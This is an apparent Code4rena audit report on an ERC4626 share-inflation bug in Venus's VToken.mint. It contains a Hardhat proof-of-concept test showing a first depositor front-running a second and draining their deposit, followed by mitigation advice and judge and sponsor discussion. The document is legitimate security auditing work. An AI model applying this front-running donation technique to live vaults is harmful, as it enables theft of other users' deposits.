VToken.mint is vulnerable to ERC4626 inflation attack

[code423n4]

Lines of code

https://github.com/code-423n4/2023-05-venus/blob/main/contracts/VToken.sol#L743
https://github.com/code-423n4/2023-05-venus/blob/main/contracts/VToken.sol#L756
https://github.com/code-423n4/2023-05-venus/blob/main/contracts/VToken.sol#L1476

Vulnerability details

Impact

VToken.mint is vulnerable to ERC4626 inflation attack.
The first depositor may steal all the underlying tokens from the second one.

Proof of Concept

Copy and paste this test in mintAndRedeemTest.ts L248 before mint tests.
https://github.com/code-423n4/2023-05-venus/blob/main/tests/hardhat/Tokens/mintAndRedeemTest.ts#L248

  describe.only("mint - ERC4626 inflation attack", () => {
    it("minter2 transferred 1e18 underlying token but get 0 VToken", async () => {
      const minter2 = redeemer;
      // 1. Minter1 mints not to use initialExchangeRate next time
      await quickMint(underlying, vToken, minter, 1); // totalSupply is 1

      // 2. Front running: Minter1 transfers the same amount of underlying token to VToken
      const mintAmount = convertToUnit("1", 18);
      await preApprove(underlying, vToken, minter, mintAmount, {faucet: true});
      await underlying.connect(minter).transfer(vToken.address, mintAmount);

      // 3. Minter2 wants to mint by giving `mintAmount` underlying tokens.
      await quickMint(underlying, vToken, minter2, mintAmount);

      // 4. But he receives mintAmount / (1 + mintAmount) = 0 VToken.
      expect(await vToken.balanceOf(await minter2.getAddress())).to.equal(0);

      // 5. Minter1 takes all.
      await quickRedeem(vToken, minter, 2000000000000000001n);
      expect(await underlying.balanceOf(await minter.getAddress())).to.equal(2000000000000000001n);
    });
  });

Tools Used

Manual review and hardhat tests.

Recommended Mitigation Steps

1. Keeping track of the total assets internally
2. Creating "dead shares"
   Reference: Implement or recommend mitigations for ERC4626 inflation attacks OpenZeppelin/openzeppelin-contracts#3706 (comment)

Assessed type

ERC4626

[c4-judge]

0xean changed the severity to 2 (Med Risk)

[c4-judge]

0xean marked the issue as primary issue

[c4-sponsor]

chechu marked the issue as sponsor disputed

[chechu]

The attack would indeed be feasible if we didn’t require initial supply

[0xean]

@chechu - can you point me to this in the codebase?

[chechu]

Our fault, we allow an initial supply, but we don't require it. https://github.com/code-423n4/2023-05-venus/blob/main/contracts/Pool/PoolRegistry.sol#L321

The origin of the confusion is that we'll provide, for sure, an initial supply on every market that we'll add to the PoolRegistry, and the process to add new markets is under the control of the Governance (so, the community will have to vote for it). For that reason, we really assumed that there will be an initial supply, but now we realized we are not requiring it in the code. We'll do it, just to avoid any confusion or potential error.

We won't integrate the Oracles, but the initial idea is to provide at least $10,000 as an initial supply on each new market. That "check" will be done externally, when the VIP is prepared to be proposed to the community

[c4-judge]

0xean marked the issue as satisfactory

[c4-judge]

0xean changed the severity to 3 (High Risk)

[c4-judge]

0xean changed the severity to 2 (Med Risk)

[c4-judge]

0xean marked issue #220 as primary and marked this issue as a duplicate of 220